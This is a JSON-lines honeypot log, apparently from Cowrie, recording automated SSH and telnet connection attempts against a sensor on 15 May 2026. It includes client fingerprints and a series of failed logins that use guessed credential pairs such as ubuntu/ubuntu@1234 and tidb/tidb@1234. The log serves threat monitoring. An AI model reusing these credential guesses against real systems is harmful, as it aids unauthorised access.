{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:27.518039Z","src_ip":"192.109.200.237","session":"99965d3c2dd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36832,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1e684b08a53","protocol":"ssh","message":"New connection: 192.109.200.237:36832 (159.203.135.109:22) [session: d1e684b08a53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:29.647890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:29.651996Z","src_ip":"192.109.200.237","session":"d1e684b08a53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:29.734276Z","src_ip":"192.109.200.237","session":"d1e684b08a53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:29.987732Z","src_ip":"192.109.200.237","session":"d1e684b08a53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:31.072137Z","src_ip":"192.109.200.237","session":"d1e684b08a53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52852,"dst_ip":"10.17.0.5","dst_port":23,"session":"478d063930ac","protocol":"telnet","message":"New connection: 50.6.8.71:52852 (10.17.0.5:23) [session: 478d063930ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:33.278467Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34174,"dst_ip":"159.203.135.109","dst_port":22,"session":"74bf13937d49","protocol":"ssh","message":"New connection: 192.109.200.237:34174 (159.203.135.109:22) [session: 74bf13937d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:33.315883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:33.319189Z","src_ip":"192.109.200.237","session":"74bf13937d49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:33.399930Z","src_ip":"192.109.200.237","session":"74bf13937d49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser123","message":"login attempt [esuser/esuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:33.645303Z","src_ip":"192.109.200.237","session":"74bf13937d49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:34.730525Z","src_ip":"192.109.200.237","session":"74bf13937d49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34192,"dst_ip":"159.203.135.109","dst_port":22,"session":"1649ba5edddf","protocol":"ssh","message":"New connection: 192.109.200.237:34192 (159.203.135.109:22) [session: 1649ba5edddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:36.858495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:36.862705Z","src_ip":"192.109.200.237","session":"1649ba5edddf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:36.945779Z","src_ip":"192.109.200.237","session":"1649ba5edddf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:37.196114Z","src_ip":"192.109.200.237","session":"1649ba5edddf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":55540,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b204fd63917","protocol":"telnet","message":"New connection: 50.6.8.71:55540 (10.17.0.5:23) [session: 6b204fd63917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:37.504727Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:38.282618Z","src_ip":"192.109.200.237","session":"1649ba5edddf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36100,"dst_ip":"159.203.135.109","dst_port":22,"session":"90463ba1e53f","protocol":"ssh","message":"New connection: 192.109.200.237:36100 (159.203.135.109:22) [session: 90463ba1e53f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:40.495700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:40.499947Z","src_ip":"192.109.200.237","session":"90463ba1e53f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:40.582234Z","src_ip":"192.109.200.237","session":"90463ba1e53f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@1234","message":"login attempt [ubuntu/ubuntu@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:40.829901Z","src_ip":"192.109.200.237","session":"90463ba1e53f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:41.914754Z","src_ip":"192.109.200.237","session":"90463ba1e53f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.99415040016174,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:42.325256Z","src_ip":"50.6.8.71","session":"476ae366b622","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":55546,"dst_ip":"10.17.0.5","dst_port":23,"session":"76ac01d95001","protocol":"telnet","message":"New connection: 50.6.8.71:55546 (10.17.0.5:23) [session: 76ac01d95001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:43.150450Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36102,"dst_ip":"159.203.135.109","dst_port":22,"session":"30d6015e1730","protocol":"ssh","message":"New connection: 192.109.200.237:36102 (159.203.135.109:22) [session: 30d6015e1730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:44.067013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:44.072125Z","src_ip":"192.109.200.237","session":"30d6015e1730","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:44.156379Z","src_ip":"192.109.200.237","session":"30d6015e1730","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.77365207672119,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:44.252578Z","src_ip":"50.6.8.71","session":"b7c8e04440ab","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb@1234","message":"login attempt [tidb/tidb@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:44.401419Z","src_ip":"192.109.200.237","session":"30d6015e1730","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:45.498738Z","src_ip":"192.109.200.237","session":"30d6015e1730","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.05709481239319,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:47.537405Z","src_ip":"50.6.8.71","session":"17cb92188b30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36110,"dst_ip":"159.203.135.109","dst_port":22,"session":"779ee0371897","protocol":"ssh","message":"New connection: 192.109.200.237:36110 (159.203.135.109:22) [session: 779ee0371897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:47.616974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:47.621594Z","src_ip":"192.109.200.237","session":"779ee0371897","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:47.704461Z","src_ip":"192.109.200.237","session":"779ee0371897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:47.952317Z","src_ip":"192.109.200.237","session":"779ee0371897","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38138,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cd6cb447c7d","protocol":"telnet","message":"New connection: 50.6.8.71:38138 (10.17.0.5:23) [session: 6cd6cb447c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:48.483887Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:49.038303Z","src_ip":"192.109.200.237","session":"779ee0371897","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.03723073005676,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:49.671624Z","src_ip":"50.6.8.71","session":"ffd5d641f8bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00229072570801,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:51.252806Z","src_ip":"212.252.73.4","session":"9704093241c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60468,"dst_ip":"159.203.135.109","dst_port":22,"session":"af87e66e842c","protocol":"ssh","message":"New connection: 192.109.200.237:60468 (159.203.135.109:22) [session: af87e66e842c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:51.302789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:51.307554Z","src_ip":"192.109.200.237","session":"af87e66e842c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:51.388840Z","src_ip":"192.109.200.237","session":"af87e66e842c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samanalid","password":"123456","message":"login attempt [samanalid/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:51.633394Z","src_ip":"192.109.200.237","session":"af87e66e842c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.252.73.4","src_port":34743,"dst_ip":"10.17.0.5","dst_port":23,"session":"86c4355c537b","protocol":"telnet","message":"New connection: 212.252.73.4:34743 (10.17.0.5:23) [session: 86c4355c537b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:52.207624Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:52.718118Z","src_ip":"192.109.200.237","session":"af87e66e842c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60474,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ed19632b087","protocol":"ssh","message":"New connection: 192.109.200.237:60474 (159.203.135.109:22) [session: 3ed19632b087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:54.711512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:54.717449Z","src_ip":"192.109.200.237","session":"3ed19632b087","protocol":"ssh"}
